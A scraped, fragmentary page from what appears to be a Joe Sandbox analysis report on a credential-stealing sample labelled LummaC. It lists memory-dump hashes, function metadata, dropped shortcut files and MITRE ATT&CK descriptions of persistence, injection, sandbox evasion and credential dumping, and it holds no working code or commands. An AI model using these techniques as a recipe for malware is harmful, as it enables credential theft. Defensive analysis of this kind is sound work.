Associated: 00000000.00000002.3056593642.00000000069A0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056614954.00000000069A2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056637291.00000000069A6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.00000000069AA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C35000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C44000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C46000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69a0000_file.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e6257ee6f6b599625309f19dc0e4d6fe12c384d457022d57ef384dec2f74e480
Instruction ID: 9b8ef3020a41800e413451067c65f84d88a0c9ed362778dead28052484306bee
Opcode Fuzzy Hash: e6257ee6f6b599625309f19dc0e4d6fe12c384d457022d57ef384dec2f74e480
Instruction Fuzzy Hash: 053137B250426EDFEF21DF54D848BEE3BA4EF05300F004826E98596941E7768DB8CF59

Non-executed Functions

Function 06B3F8A2 Relevance: 3.9, Strings: 3, Instructions: 157
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&e>w, xrefs: 06B3FCBA
&e>w, xrefs: 06B3FA69
}M3, xrefs: 06B3F9B7

Memory Dump Source

Source File: 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp, Offset: 069A0000, based on PE: true

Associated: 00000000.00000002.3056593642.00000000069A0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056614954.00000000069A2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056637291.00000000069A6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.00000000069AA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C35000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C44000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C46000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69a0000_file.jbxd

Similarity

API ID:
String ID: &e>w$&e>w$}M3
API String ID: 0-4267239018
Opcode ID: dca39941b4ea5c595821a494a74058a4bec95db28436db159ea60f410f1675f3
Instruction ID: d40e489918897bd3d4134f1918b3aa996fba116762f94b0a6cdd20bc0c98251d
Opcode Fuzzy Hash: dca39941b4ea5c595821a494a74058a4bec95db28436db159ea60f410f1675f3
Instruction Fuzzy Hash: 594116F3E0C234EFE3446E29AD4057AB7ECAB44710F12465EE9CA53745E6315D4086C7

Function 06B3D73C Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

U, xrefs: 06B3D745

Memory Dump Source

Source File: 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp, Offset: 069A0000, based on PE: true

Associated: 00000000.00000002.3056593642.00000000069A0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056614954.00000000069A2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056637291.00000000069A6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.00000000069AA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C35000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C44000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C46000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69a0000_file.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 2dd2a9b735b420a5edad14eb39ad66d4d002c84d0b631cb882d5c0506fb26b4d
Instruction ID: bcba1f19038ea9bc42188f451456bacaf966d7cab08b6b6e817b28ddd4792017
Opcode Fuzzy Hash: 2dd2a9b735b420a5edad14eb39ad66d4d002c84d0b631cb882d5c0506fb26b4d
Instruction Fuzzy Hash: 5B51D5B250C390AFD3126F289C586EABFE5FF46220F0A08AFE9C557642D2705549C797

Function 06B3A932 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3056660421.0000000006B2F000.00000040.00000800.00020000.00000000.sdmp, Offset: 069A0000, based on PE: true

Associated: 00000000.00000002.3056593642.00000000069A0000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056614954.00000000069A2000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056637291.00000000069A6000.00000004.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.00000000069AA000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C35000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C44000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3056660421.0000000006C46000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_69a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82fe6b8da33c1519680d82c2629ffbda6b9b95f9e5ac25ebf2062108e08f55a
Instruction ID: 627187cf8ab409f1d537272b45137d5f0eddbc51741af32cc38a035119d6930f
Opcode Fuzzy Hash: c82fe6b8da33c1519680d82c2629ffbda6b9b95f9e5ac25ebf2062108e08f55a
Instruction Fuzzy Hash: 560146B560521ADAEB14CF04C144ADBB7B5FF5A320F16A2E8D8011BB51D2706ED4CB89

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre